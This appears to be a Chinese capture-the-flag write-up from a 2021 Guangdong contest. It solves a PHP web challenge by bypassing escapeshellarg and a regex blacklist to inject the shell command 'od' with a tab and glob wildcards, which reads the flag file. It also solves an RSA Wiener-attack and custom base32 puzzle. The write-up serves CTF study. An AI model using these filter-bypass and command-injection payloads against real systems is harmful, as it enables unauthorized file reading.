2021广东省强网团体赛-wp

温馨提示:点击页面下方以展开或折叠目录~

2021广东省强网团体赛-wp

WEB-love_Pokemon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
    mkdir($dir);
}

function DefenderBonus($Pokemon){
    if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
        die('catch broken Pokemon! mew-_-two');
    }
    else{
        return $Pokemon;
    }

}

function ghostpokemon($Pokemon){
    if(is_array($Pokemon)){
        foreach ($Pokemon as $key => $pks) {
            $Pokemon[$key] = DefenderBonus($pks);
        }
    }
    else{
        $Pokemon = DefenderBonus($Pokemon);
    }
}

switch($_POST['myfavorite'] ?? ""){
    case 'picacu!':
        echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'bulbasaur!':
        echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
        $level $_POST["levelup"] ?? "";
    if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
            echo file_get_contents('./hint.php');
        }
        break;
    case 'squirtle':
        echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'mewtwo':
        $dream $_POST["dream"] ?? "";
        if(strlen($dream)>=20){
            die("So Big Pokenmon!");
        }
        ghostpokemon($dream);
        echo shell_exec($dream);
}

?>

思路:

  1. 当post参数myfavorite=bulbasaur!时,接收一个post参数levelup,经过if判断后可以获得hint

    • 难点:不能被lv100匹配到,又要在escapeshellarg匹配lv100
      • escapeshellarg作用是转义shell的输入
      • 绕过方法:ascii %80之后的都会被去掉,即escapeshellarg(lv%fa100) -> lv100
      • payload:myfavorite=bulbasaur!&levelup=lv%fa100
    • 这里讲的很详细
  2. hint提示flag在根目录下,名字叫FLAG

    image

  3. 当post参数myfavorite=mewtwo时,接受参数dream,传参到ghostpokemon再传参到DefenderBonus,经过正则后返回参数的值,将dream的参数值作为shell执行

    • 难点:dream的值即为读取flag命令的值,因此要将该shell绕过正则

    • 读取内容的命令:

      • cat /FLAG:a、L、A被过滤了,cat用不了
      • cat -> od命令:读取内容,输出为八进制,可以用
      • /FLAG -> /F[0-Z][0-Z]G:[]为文件名通配符,用来匹配指定范围内的任意单个字符
    • 效果如下:

      image

    • payload:myfavorite=mewtwo&dream=od%09/F[0-Z][0-Z]G

      读取八进制结果后解码即可

Crypto-RSA and BASE?

1
2
3
4
5
6
7
RSA:
n=56661243519426563299920058134092862370737397949947210394843021856477420959615132553610830104961645574615005956183703191006421508461009698780382360943562001485153455401650697532951591191737164547520951628336941289873198979641173541232117518791706826699650307105202062429672725308809988269372149027026719779368169
e=36269788044703267426177340992826172140174404390577736281478891381612294207666891529019937732720246602062358244751177942289155662197410594434293004130952671354973700999803850153697545606312859272554835232089533366743867361181786472126124169787094837977468259794816050397735724313560434944684790818009385459207329
c=137954301101369152742229874240507191901061563449586247819350394387527789763579249250710679911626270895090455502283455665178389917777053863730286065809459077858674885530015624798882224173066151402222862023045940035652321621761390317038440821354117827990307003831352154618952447402389360183594248381165728338233

BASE:
"GHI45FQRSCX****UVWJK67DELMNOPAB3"

思路:

  • RSA部分

    1. e很大,使用wiener attack,网上有脚本可以用,改下参数即可,github地址

    2. 解出d的值

      1
      d=162629853458911971486680889045849898679792335644886630492453366486865526390781
    3. 和n、c拿去解密

      1
      2
      3
      4
      5
      6
      7
      8
      9
      c=
      d=
      n=
      m=pow(c,d,n)
      print long_to_bytes(m)

      ----------------------

      flag{TCMDIEOH2MJFBLKHT2J7BLYZ2WUE5NYR2HNG====}
  • Base部分

    1. 观察了一下结果,4个等号(base64最多只会有3个等号)、全是大写字母、有数字出现都说明了这是base32编码,直接拿去解码发现是乱码,看下附件的第二个内容

      1
      2
      BASE:
      "GHI45FQRSCX****UVWJK67DELMNOPAB3"

      仔细观察了一下,空缺的4个字符很明显需要爆破,不过发现没有字符重复,末尾没有等号,应该不是一段需要爆破的base32码,而是一段base32的私有表

    2. 爆破+变表解码

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      import base64
      import string

      base32 = "TCMDIEOH2MJFBLKHT2J7BLYZ2WUE5NYR2HNG===="

      string1 = "GHI45FQRSCX{}{}{}{}UVWJK67DELMNOPAB3"
      string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"

      t = '2TYZ'
      for i in t:
      for j in t:
      for k in t:
      for l in t:
      if i != j != k != l :
      str = string1.format(i,j,k,l)
      try:
      print(base64.b32decode(base32.translate(string.maketrans(str,string2))).decode())
      except:
      pass

      从输出中选一个正常的flag即可